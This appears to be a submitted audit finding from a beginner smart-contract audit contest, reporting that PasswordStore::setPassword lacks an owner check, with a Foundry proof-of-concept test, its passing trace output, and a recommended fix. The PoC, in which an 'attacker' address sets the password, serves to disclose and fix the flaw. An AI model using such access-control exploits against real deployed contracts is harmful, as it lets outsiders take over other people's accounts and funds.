Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can set New password.

Summary

There is no restriction on who can set the new password for the owner.

Vulnerability Details

PasswordStore::solsetPassword(...) should be used only by the owner to set the new password but, there is no check for that in the function. That means anyone can change the password anytime.

Test for PoC

function test_address_other_than_owner_can_set_password() public {
// setting up data
address attacker = makeAddr("attacker");
string memory newPassword = "myNewPassword";
// attacker calling function to set new password
vm.startPrank(attacker);
passwordStore.setPassword(newPassword);
}
Output
gitpod /workspace/2023-10-PasswordStore (main) $ forge test --mt test_address_other_than_owner_can_set_password -vvvv
[⠒] Compiling...
No files changed, compilation skipped
Running 1 test for test/PasswordStore.t.sol:PasswordStoreTest
[PASS] test_address_other_than_owner_can_set_password() (gas: 16733)
Traces:
[16733] PasswordStoreTest::test_address_other_than_owner_can_set_password()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], attacker)
│ └─ ← ()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← ()
├─ [6686] PasswordStore::setPassword(myNewPassword)
│ ├─ emit SetNetPassword()
│ └─ ← ()
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.66ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
gitpod /workspace/2023-10-PasswordStore (main) $

Impact

Anyone can change the password for the owner.

Tools Used

Manual Review

Recommendations

Add the following check:

function setPassword(string memory newPassword) external {
+ if (msg.sender != s_owner) {
+ revert PasswordStore__NotOwner();
+ }
s_password = newPassword;
emit SetNetPassword();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.